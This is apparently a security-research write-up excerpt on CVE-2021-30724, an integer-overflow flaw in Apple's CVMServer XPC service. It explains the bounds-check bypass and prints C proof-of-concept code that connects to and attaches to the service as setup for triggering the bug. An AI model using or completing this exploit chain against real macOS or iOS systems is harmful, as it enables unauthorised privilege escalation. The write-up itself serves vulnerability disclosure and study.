CVE-2021-30724: CVMServer Vulnerability in macOS and iOS Threats Analyst

Figure 2 shows the logic in which the vulnerability exists. As shown in the image, item[3*count] is the mapped length, returned from xpc_shmem_map (seen in line 134). Meanwhile, beginOffset is controllable from the XPC request message (seen in line 135). If the value of item[3*count] is less than that of beginOffset, then according to the logic, the value of remainLen will be an integer overflow. This will lead to the check in line 144 being bypassed. Therefore, the vulnerability can be triggered by specifying item[count]=accessDataLen to a large integer (seen from line 136 to 137), which will lead to out of bounds memory access and potential privilege escalation if exploited.

Triggering the vulnerability

Figure 1 also shows that the flag context->attached is set inside case 4. This means to send the request (case msgType=18), the CVMS service must be attached and XPC request msgType=4 is sent. In turn, to send the XPC requests to the service, a connection must first be established. By searching cross-references to the API call _xpc_connection_create_mach_service we were able to get the service name “com.apple.cvmsServ,” and thus establish a connection.

int64_t cvms_connection_create(xpc_connection_t *conn) {

int64_t error = 528;

xpc_connection_t client = xpc_connection_create_mach_service(“com.apple.cvmsServ”, NULL, 2);

xpc_connection_set_event_handler(client, ^(xpc_object_t event) {});

xpc_connection_resume(client);

xpc_object_t req = xpc_dictionary_create(NULL, NULL, 0);

xpc_dictionary_set_int64 (req, “message”, 1);

xpc_object_t res = xpc_connection_send_message_with_reply_sync(client, req);

printf(“response: %s\n”, xpc_copy_description(res));

if (xpc_get_type(res) == XPC_TYPE_DICTIONARY) {

error = xpc_dictionary_get_int64(res, “error”);

if (!error) {

*conn = client;

}

}

return error;

}

After doing so, we attached the service, with the arguments fetched through debugging.

int64_t cvms_service_attach(xpc_connection_t conn) {

int64_t error = 528;

xpc_object_t req = xpc_dictionary_create(NULL, NULL, 0);

xpc_dictionary_set_int64 (req, “message”, 4);

xpc_dictionary_set_string(req, “framework_name”, “OpenCL”);

xpc_dictionary_set_string(req, “bitcode_name”, “”);

xpc_dictionary_set_string(req, “plugin_name”, “/System/Library/Frameworks/OpenGL.framework/Libraries/libGLVMPlugin.dylib”);

struct AttachArgs {

int64_t a1;

int64_t a2;

} args = {0, 0x0000211000000009};//M1 Mac use 0x000021100000000a

xpc_dictionary_set_data(req, “args”, &args, sizeof(args));

xpc_object_t res = xpc_connection_send_message_with_reply_sync(conn, req);

printf(“response: %s\n”, xpc_copy_description(res));

if (xpc_get_type(res) == XPC_TYPE_DICTIONARY) {

error = xpc_dictionary_get_int64(res, “error”);

if (!error) {

int64_t pool_index = xpc_dictionary_get_int64(res, “pool_index”);

printf(“pool_index: %lld\n”, pool_index);

}

}

return error;

}

After attaching the CVMS service and sending XPC request msgType=4 we can now send the request (case msgType=18) where the vulnerability is found. To better understand how this vulnerability is triggered, we explain the XPC message structure shown in Figure 2.

From line 97 to 105, we can see that request[“source”] is an XPC array, which stores the list of source code data. At line 108, 32 bytes (4 pointer size) is allocated for each array item.

Read More HERE